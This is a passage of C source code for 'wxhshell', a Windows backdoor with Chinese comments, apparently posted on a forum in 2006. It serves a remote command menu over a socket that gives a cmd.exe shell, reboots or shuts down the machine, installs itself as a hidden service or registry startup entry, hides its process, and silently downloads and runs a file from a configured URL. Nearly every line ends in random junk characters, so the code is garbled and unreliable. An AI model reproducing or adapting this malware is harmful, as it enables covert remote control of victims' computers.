  )KBv[|  
  // 帮助 FNmIXpAn*@  
  case '?': { !M^pL|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z1\_[GA  
    break; ZQl[h7c/N  
  } a%(1#2^`q!  
  // 安装 `p#A2Ap A  
  case 'i': { l*'jqR')h^  
    if(Install()) `?=AgGg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qg.[M*  
    else 2E2J=Do  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6tG9PG98q9  
    break; ,=oq)Fm]  
    } .#j)YG  
  // 卸载 pb E`Eq  
  case 'r': { S*#y7YKI  
    if(Uninstall()) 30<dEoF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "-<u.$fE  
    else `r>WVPS|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3O#7OL68v  
    break; [mWo&Ph[-  
    } tMyD^jVC  
  // 显示 wxhshell 所在路径 M_79\Gz"  
  case 'p': { L?9Vz&8]  
    char svExeFile[MAX_PATH]; m> NRIEA6  
    strcpy(svExeFile,"\n\r"); HSK^vd?_l  
      strcat(svExeFile,ExeFile); X[Y!=e4z  
        send(wsh,svExeFile,strlen(svExeFile),0); ]vT  
    break; 4f"be  
    } VIi|:k  
  // 重启 L1rov  
  case 'b': { Xx?Jt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vaq=f/  
    if(Boot(REBOOT)) #M`ijN!Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3<JZt.|  
    else { k,?Y`s  
    closesocket(wsh); z=ppNP0  
    ExitThread(0); Nb]qY>K  
    } )b!q  
    break; 'a"<uk3DT  
    } ZQ20IY|,  
  // 关机 -'q=oTZ  
  case 'd': { y[r T5ed  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9=< Z>  
    if(Boot(SHUTDOWN)) z9dVT'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E>'pMw  
    else { NoYu"57\  
    closesocket(wsh); %&gx@ \v  
    ExitThread(0); &# @1n  
    } ?;{A@icr  
    break; 4F:RLj9P!  
    } WUa-hm2:  
  // 获取shell B r pin  
  case 's': { AQ0L9?   
    CmdShell(wsh); &S|laq H  
    closesocket(wsh); |{oKhC^yG  
    ExitThread(0); dr/!wr'&hS  
    break; *VRFs=  
  } X^xu$d6   
  // 退出 4El{2cfA  
  case 'x': { cJ[n<hTv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b<5:7C9z  
    CloseIt(wsh); Vn8Qsf1f  
    break; ,vN#U&RS  
    } 8u+ (+25  
  // 离开 &F.lo9JJ  
  case 'q': { B:x4H}`vh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P_ ZguNH  
    closesocket(wsh);  K8 ThZY%  
    WSACleanup(); Ak}l6{ ..  
    exit(1); `L;I/Hp  
    break; 9L&AbmIr  
        } s{iYf :  
  } K@>v|JD  
  } <#R7sco'  
+[F9Q,bH@b  
  // 提示信息 Hpsg[d)!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;TW@{re  
} ,bH  
  } | c8u  
*i$+i  
  return; Wq>j;\3b3  
} mU\$piei  
r%B5@+{so  
// shell模块句柄 uox;PDK  
int CmdShell(SOCKET sock) Y0eu^p)  
{ }'X}!_9w>  
STARTUPINFO si; `$#64UZ>U1  
ZeroMemory(&si,sizeof(si)); -#Wc@\;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K1+,y1c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m=}kGzIY4  
PROCESS_INFORMATION ProcessInfo; @wa/p`gj5w  
char cmdline[]="cmd"; km|~DkJ\a`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NKI&n]EO  
  return 0; c2F`S1Nu<  
} P)}:lTe  
$@#nn5^IX  
// 自身启动模式 gXfAz,  
int StartFromService(void) `o*eLLk  
{ 6"=e+V@  
typedef struct % vP{C  
{ g@EKJFjl  
  DWORD ExitStatus; -u9{R\S  
  DWORD PebBaseAddress; @\q~OyV  
  DWORD AffinityMask; <]!IC]+  
  DWORD BasePriority; (PB|.`_<H  
  ULONG UniqueProcessId; U>I#f  
  ULONG InheritedFromUniqueProcessId; 9B%"7MVn  
}   PROCESS_BASIC_INFORMATION;  ipyO&v  
.#}SK!"B  
PROCNTQSIP NtQueryInformationProcess; |6;.C1\,  
|mM7P^I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h\ ybh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z1:auodI@  
/3c1{%B\  
  HANDLE             hProcess; ^#Z(&/5f0  
  PROCESS_BASIC_INFORMATION pbi; IM@Qe|5  
LvAIAknc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HR V/ A  
  if(NULL == hInst ) return 0; ~&q e"0  
I7Eg$J&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M1g|m|H7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); --/  .  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P]x@h  
O;zW'*c+  
  if (!NtQueryInformationProcess) return 0; T-x`ut7c  
x*)Wl!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lW2qVR  
  if(!hProcess) return 0; odhgIl&u  
3NJH"amk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5&xvY.!27V  
7u}r^+6_o  
  CloseHandle(hProcess); XH*^#c  
onmO>q*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \e?T 9c6,  
if(hProcess==NULL) return 0; &\(YmY  
[+%*s3`c#  
HMODULE hMod; Y/hay[6  
char procName[255]; dGfWRqS]  
unsigned long cbNeeded; u9&p/qMx2  
i4-L!<bJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '1{~y3  
ZcQm(my  
  CloseHandle(hProcess); cK?t]%S  
ov+qYBuFw  
if(strstr(procName,"services")) return 1; // 以服务启动 md2kZ.5u  
}i[jJb`bY  
  return 0; // 注册表启动 F 4h EfO3  
} p;H1,E:Re#  
D\TL6"wo  
// 主模块 Op0 #9W  
int StartWxhshell(LPSTR lpCmdLine) ^:q(ksssY  
{ ht-6_]+ME  
  SOCKET wsl; kOjq LA  
BOOL val=TRUE; J|b1 K]  
  int port=0; (sl~n_<ds8  
  struct sockaddr_in door; T S.lFg:K  
Rza \n8  
  if(wscfg.ws_autoins) Install(); nOB ]?{X  
VT9$&\)>O  
port=atoi(lpCmdLine); ULJI` I|m  
xpnnWHdaq  
if(port<=0) port=wscfg.ws_port; %NBD^g F  
PNG'"7O  
  WSADATA data; 8[Qw8z5-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xv ja  
L%<1C \k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i a|F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); urN&."c  
  door.sin_family = AF_INET; 2<O hO ^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?+!KucTF  
  door.sin_port = htons(port); '2vlfQ@8a~  
&sllM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _]4cY%s  
closesocket(wsl); WV6vM()#!C  
return 1; ewLr+8  
} V?gQ`( ,  
[ wROIvV  
  if(listen(wsl,2) == INVALID_SOCKET) { $M8'm1R9  
closesocket(wsl); F0yh7MItV  
return 1; J2R<'(  
} Ug"B/UUFd  
  Wxhshell(wsl); l5MxJ>?4%B  
  WSACleanup(); PFc02 w  
hb_Ia]b  
return 0; RWoiV10  
x O)nS _I  
} vZKo&jU k  
Jk~T.p?tF  
// 以NT服务方式启动 " pH+YqJ$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qB&*"gf  
{ a2i   
DWORD   status = 0; j4l7Tx  
  DWORD   specificError = 0xfffffff; (I+-wki"e  
IFE C_F>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x;SrJVDN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4*54"[9Hr#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *= D$  
  serviceStatus.dwWin32ExitCode     = 0; IKU -  
  serviceStatus.dwServiceSpecificExitCode = 0; dV5 $L e#y  
  serviceStatus.dwCheckPoint       = 0; /yOd]N;$  
  serviceStatus.dwWaitHint       = 0; khIh<-s!  
J3zb_!PPE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =y4g. J\  
  if (hServiceStatusHandle==0) return; kSJWQ  
F3qi$3HM  
status = GetLastError(); !9!N s(vUM  
  if (status!=NO_ERROR) ecF I"g  
{ "au"\}   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z XvWo6  
    serviceStatus.dwCheckPoint       = 0; z[';HJ0O;  
    serviceStatus.dwWaitHint       = 0; ZNUV Bi  
    serviceStatus.dwWin32ExitCode     = status; 0>'1|8+`(z  
    serviceStatus.dwServiceSpecificExitCode = specificError; YcGqT2oLP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =thgNMDm"  
    return; -0kwS4Hx2  
  } w7 QIKsI0  
@NVq .z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b2 ),J  
  serviceStatus.dwCheckPoint       = 0; V`%m~#Me  
  serviceStatus.dwWaitHint       = 0; 7e40 }n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `)%eU~  
} 1S=I(n?E  
kxdLJ_  
// 处理NT服务事件,比如:启动、停止 Ve=0_GR0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (zhmZm  
{ 2"mO"2d%  
switch(fdwControl) /0r2v/0  
{  RFZrcM  
case SERVICE_CONTROL_STOP: H"-p^liw  
  serviceStatus.dwWin32ExitCode = 0; 9+/<[w7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H p,r @  
  serviceStatus.dwCheckPoint   = 0; 2M;{|U  
  serviceStatus.dwWaitHint     = 0; uwIZzz  
  { Sd)D-S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $$8"i+,K  
  } 9LFg":  
  return; <1@_MY o  
case SERVICE_CONTROL_PAUSE: GJW1|Fk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tf/ f-S  
  break; ML R3 A s  
case SERVICE_CONTROL_CONTINUE: sFGXW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [A3hrSw  
  break; $<y b~z7J  
case SERVICE_CONTROL_INTERROGATE: /,;9hx  
  break; Bf7RW[ -v  
}; /yI~(8bO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k_^d7yH  
} MTF:mLJ  
UdY9*k  
// 标准应用程序主函数 |mK d5[$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9]S}m[8k  
{ ;~@2YPj  
P8TiB  
// 获取操作系统版本 Qn<< &i~  
OsIsNt=GetOsVer(); 0h; -Yg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ii"cDH9  
rbJ-vEzo.#  
  // 从命令行安装 ./6L&?*`~;  
  if(strpbrk(lpCmdLine,"iI")) Install(); aMHIOA%Kh  
=}V`O>  
  // 下载执行文件 J%}}( G~  
if(wscfg.ws_downexe) { {o]OxqE@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bFTWuM  
  WinExec(wscfg.ws_filenam,SW_HIDE); YZoH{p9f  
} FV^kOz  
 e%qMrR  
if(!OsIsNt) { G? [#<W@+  
// 如果时win9x,隐藏进程并且设置为注册表启动 ufm#H#n)#X  
HideProc(); ;%%=G;b9  
StartWxhshell(lpCmdLine); 8RocObY_W  
} !|`YNsR  
else 3)T5}_  
  if(StartFromService()) `yVJ `} hm  
  // 以服务方式启动 MBa/-fD  
  StartServiceCtrlDispatcher(DispatchTable);  ,{.&xJ$  
else EJ86k>]  
  // 普通方式启动 R{*p \;  
  StartWxhshell(lpCmdLine); KcSvf;sx  
(K2 p3M^  
return 0; #!5GGe{I  
}
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只看该作者 1 发表于: 2006-10-10
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